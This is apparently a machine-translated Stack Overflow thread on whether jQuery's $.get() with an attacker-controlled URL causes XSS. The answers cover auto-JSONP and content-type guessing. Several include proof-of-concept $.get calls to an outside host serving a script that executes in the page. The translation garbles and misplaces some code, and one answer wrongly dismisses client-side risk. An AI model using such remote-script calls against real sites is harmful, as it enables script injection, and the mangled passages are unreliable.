jQuery的$ .get()是否可以安全地调用不受信任的URL?

时间:2015-03-14 00:48:20

标签: jquery ajax json security xss

我最近了解到jQuery的$.getJSON()not safe to call on an untrusted URL。那么$.get()呢?当URL参数来自不受信任的来源时,jQuery的$.get()是否可以安全地调用,或者这是不安全的?

这是我正在进行的安全代码审查,以检查XSS漏洞。示例代码模式:

$.get(url, function (...) { ... })

如果攻击者恶意选择url,此代码模式是否会创建XSS漏洞?

请假设该函数将安全地处理来自AJAX请求的响应,url来自不受信任的来源(例如,其他一些用户)并且可以完全由对手控制。

我担心:如果攻击者选择了url,攻击者是否可以选择恶意URL(例如,包含callback=?并指向他们自己的网站,或类似的东西)导致jQuery猜测数据类型应该是JSONP,启用JSONP,在文档中插入脚本标记,并引入XSS漏洞in the same way that getJSON() does? (因为我没有将明确的dataType参数传递给$.get(),所以jQuery会将数据类型猜测为described in the docs。我不确定它的安全含义是什么。)

我在代码审查中遇到了这种代码模式,我试图了解它是否是一个潜在的漏洞。我不是在寻找可以编写代码的替代方法;相反,我想知道这种代码模式是否安全。


由于威胁模型有点棘手,让我举一个例子来帮助更好地理解这一点。假设Bob是该服务的用户,他可以提供与其个人资料相关联的URL。假设当Alice在浏览器中访问Bob的个人资料页面时,页面上的Javascript代码会获取Bob提供的URL并将其作为参数传递给$.get()。问题是,这样安全吗?鲍勃可以用它来攻击爱丽丝吗? Bob可以触发Alice的浏览器执行任意的Javascript代码,拥有Alice的所有权力吗?正如链接问题所解释的那样,$.getJSON()在这种情况下是不安全的 - 但是$.get()呢?它也不安全,还是安全?


由于我收到了一些澄清请求,让我尝试以不同的方式解释/提出问题。假设我正在进行代码审查以检查某些Javascript代码是否包含任何XSS漏洞,我看到以下代码行:

$.get(url, function(resp) { /* do nothing */ });

假设我知道攻击者可以完全控制url。这是否自动成为XSS漏洞?或者这总是安全吗?或者如果答案是“它取决于”,它依赖于什么?

或者,还有另一种思考方式。假设我正在进行代码审查,我看到以下代码行:

$.get(url, f);

假设我知道攻击者可以完全控制url。我需要检查什么,以验证这是否安全(没有XSS错误)?我知道我需要检查f的代码以查看它是否安全地处理响应,因为如果f不小心它可能会引入XSS错误。我的问题是:我唯一需要检查的是什么?或者,无论f的编码方式如何,此代码模式始终是XSS漏洞吗?

6 个答案:

答案 0 :(得分:10)

  

如果攻击者恶意选择网址,此代码模式是否会创建XSS漏洞?

编辑:是的,但不是你问题中的原因。

使用ajaxPrefilter("json jsonp")将奇怪的自动JSONP功能内部应用于AJAX请求。因此,它适用于json预过滤器列表,但不适用于其他类型或默认*。但是,prefilters在响应发生之前应用,所以这不会因为服务器回复类似JSON的类型而发生。

(目前 - 从1.11.2开始 - getJSON的文档没有描述这种潜在危险行为准确触发的情况。get和{{1}的文档根本没有提到auto-JSONP。所以也许它应该被认为是一个错误。当然,考虑到它的指定性如何,我不会依赖它在未来版本的jQuery中保持不变。)

它易受攻击的实际原因(如framp和牙刷所示)是没有ajax参数,jQuery会从响应中猜出一个。如果攻击者的URL命中了一个类似JS的dataType资源,jQuery会猜测它是JavaScript而Content-Type。注意:为了使AJAX请求足以使其工作,对于第三方服务器上的资源,它必须包含CORS头。

eval

此版本不容易受到响应类型猜测的影响。但是, 容易受到自动JSONP过滤器的攻击。<​​/ p>

为安全起见,您必须同时设置$.get(url, function (...) { ... }, 'json'); 选项,如果该选项为dataType,还必须设置json选项。很遗憾,您无法在jsonp: false方法中设置jsonp选项。你应该可以通过传入一个选项字典而不是参数来做到这一点,但你不能,因为这个API目前完全不起作用,因为jQuery是一个令人遗憾的混乱的破坏的Do-What-I-Mean API其行为它(越来越)难以预测。

因此,从不受信任的URL获取JSON的唯一安全方法是通过基本get()

ajax

答案 1 :(得分:8)

jQuery.get 会造成XSS安全风险。

如果您查看jQuery的源代码(或jQuery.get的文档),您会看到jQuery.getjQuery.post只是jQuery.ajax({ url: url, data: data, success: success, dataType: dataType });的包装。

这里有两个问题:

  1. 如果dataTypejsonp,或者网址以=?结尾且dataTypejson,则jQuery将尝试发出JSONP请求,然后{ {1}}剧本。
  2. 如果响应是脚本,jQuery将执行该脚本,除非 evaldataTypejson选项设置为jsonp
  3. 因此,如果您将false设置为dataType,将json设置为jsonp,则是安全的可以调用false一个未知的URL。

    易受攻击的脚本

    jQuery.get

    See the example on JSFiddle.

    安全脚本

    $.get(url, function(...) { ... });
    

    See the example on JSFiddle.

答案 2 :(得分:5)

取决于。

TL; DR是的,在某些情况下它不安全。

如果:

  • 您未使用内容安全政策过滤外发请求(caniuse
  • 客户端浏览器支持CORS(caniuse
  • 攻击者可以选择网址

然后攻击者可以在你的页面上执行JS。

具有匹配协议的恶意服务器,正确的CORS标头(Access-Control-Allow-Origin: *)将能够在您的页面上执行JS,这要归功于来自Content-Type标头的jQuery自动检测(JS将为{{ 1}})。

您可以在stackoverflow上尝试此页面的示例(假设您已经script):

http

如果您想查看未设置CORS标头会发生什么:

$.get('http://zensuite.net/js/alert.js', console.log.bind(console));

相反,在谈论您的假设时,您可能无法让jQuery将正常的XHR请求转换为远程包含脚本。

简要地看一下code我认为这不可能发生(除非某处有错误),因为你可以切换到&#34;远程脚本模式&#34;只有在要求运输之前,$.get('https://zensuite.net/js/alert.js', console.log.bind(console));

    当网址与dataType正则表达式json匹配时,
  • rjsonp;
  • /(=)\?(?=&|$)|\?\?/
  • jsonp

这些也很脆弱:

script

这当然与问题无关,因为您可以使用$.get('https://zensuite.net/js/alert.js?callback=?', console.log.bind(console), 'json'); $.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'jsonp'); $.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'script'); 来执行远程代码。

答案 3 :(得分:1)

这是一个好点。但是如何强制数据类型格式以确保它不会被用作JSONP

$.ajax({
    url: url,
    data: data,
    success: success,
    dataType: dataType  // force text/plain 
});

当我们想要加速解析时,使用了真正的$.getJSON(),所以如果您真的知道安全性,请使用自定义的$.ajax()来电。

更多信息:http://api.jquery.com/jquery.ajax/

答案 4 :(得分:0)

根据https://nvd.nist.gov/vuln/detail/CVE-2015-9251

,这是jQuery <3.0.0的XSS漏洞

3.0.0之前的jQuery在没有dataType选项的情况下执行跨域Ajax请求时,很容易受到跨站点脚本(XSS)攻击,从而导致执行文本/ javascript响应。

答案 5 :(得分:-3)

你知道,黑客可以简单地打开开发控制台并编写他想要的任何$.get,他甚至不必更改你的url变量。实际上,只要它不干扰相同的域策略,他就可以运行他想要的任何代码。客户端安全的全部意义在于确保这个人只能破解自己。

因此,无需尝试保护客户端的任何内容,您不能信任来自浏览器的任何内容,因此您应该始终检查服务器中收到的数据,并允许最小的接口两者之间(知道你的参数,他们的类型等)。